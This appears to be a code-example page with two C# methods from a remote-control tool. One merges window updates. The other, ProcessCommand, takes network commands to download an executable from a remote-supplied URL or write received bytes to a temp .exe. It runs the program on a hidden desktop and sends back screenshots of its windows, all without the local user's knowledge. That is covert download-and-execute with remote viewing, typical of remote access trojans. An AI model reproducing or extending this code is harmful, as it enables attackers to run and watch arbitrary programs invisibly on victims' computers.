Beispiel #1
0
        public void Update(WindowPackage windowUpdate)
        {
            if (_isDisposed)
            {
                return;
            }

            lock (_listLock)
            {
                foreach (var windowInformation in windowUpdate.Windows)
                {
                    Windows.FirstOrDefault(x => x.Handle == windowInformation.Handle)?.UpdateData(windowInformation);
                }

                foreach (var windowInformation in windowUpdate.Windows)
                {
                    if (Windows.All(x => x.Handle != windowInformation.Handle))
                    {
                        Windows.Add(new WindowRenderInfo(windowInformation));
                    }
                }

                foreach (var windowToRemove in Windows.Where(x => windowUpdate.Windows.All(y => y.Handle != x.Handle)).ToList()) //ToList is important to allow removing from the list
                {
                    Windows.Remove(windowToRemove);
                }

                if (windowUpdate.WindowData != null)
                {
                    var windowToUpdate = Windows.FirstOrDefault(x => x.Handle == windowUpdate.WindowHandle);
                    windowToUpdate?.UpdateImage(windowUpdate.WindowData);
                }
            }

            _updateReceivedAutoResetEvent.Set();
        }
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            var command = (HiddenApplicationCommunication)parameter[0];

            switch (command)
            {
            case HiddenApplicationCommunication.StartSessionFromFile:
            case HiddenApplicationCommunication.StartSessionFromUrl:
                if (_currentDesktop?.IsOpen == true)
                {
                    ResponseByte((byte)HiddenApplicationCommunication.FailedSessionAlreadyStarted, connectionInfo);
                    return;
                }

                var file = FileExtensions.GetFreeTempFileName("exe");
                if (command == HiddenApplicationCommunication.StartSessionFromUrl)
                {
                    new WebClient().DownloadFile(Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1), file);
                }
                else
                {
                    using (var fileStream = new FileStream(file, FileMode.CreateNew, FileAccess.Write))
                        fileStream.Write(parameter, 1, parameter.Length - 1);
                }

                _currentDesktop = new Desktop();
                _currentDesktop.Create(Guid.NewGuid().ToString());
                _currentProcess = _currentDesktop.CreateProcess(file, "");
                if (_currentProcess == null)
                {
                    _currentDesktop.Dispose();
                    ResponseByte((byte)HiddenApplicationCommunication.FailedProcessDidntStart, connectionInfo);
                    return;
                }

                ResponseByte((byte)HiddenApplicationCommunication.SessionStartedSuccessfully, connectionInfo);
                break;

            case HiddenApplicationCommunication.GetPackage:
                Desktop.SetCurrent(_currentDesktop);
                var handle = BitConverter.ToInt64(parameter, 1);

                var result = new WindowPackage {
                    Windows = new List <ApplicationWindow>()
                };
                var windows = _currentDesktop.GetWindows();
                for (int i = 0; i < windows.Count; i++)
                {
                    var  window = windows[i];
                    RECT rect;
                    NativeMethods.GetWindowRect(window.Handle, out rect);
                    result.Windows.Add(new ApplicationWindow
                    {
                        Height = rect.Height,
                        Width  = rect.Width,
                        X      = rect.X,
                        Y      = rect.Y,
                        Handle = (long)window.Handle
                    });

                    if (window.Handle == (IntPtr)handle)
                    {
                        using (var memoryStream = new MemoryStream())
                            using (var bitmap = _currentDesktop.DrawWindow(window.Handle, rect))
                            {
                                bitmap.Save(memoryStream, ImageFormat.Jpeg);
                                result.WindowData   = memoryStream.ToArray();
                                result.WindowHandle = handle;
                            }
                    }
                }

                ResponseBytes((byte)HiddenApplicationCommunication.ResponsePackage,
                              new Serializer(typeof(WindowPackage)).Serialize(result), connectionInfo);
                break;
            }
        }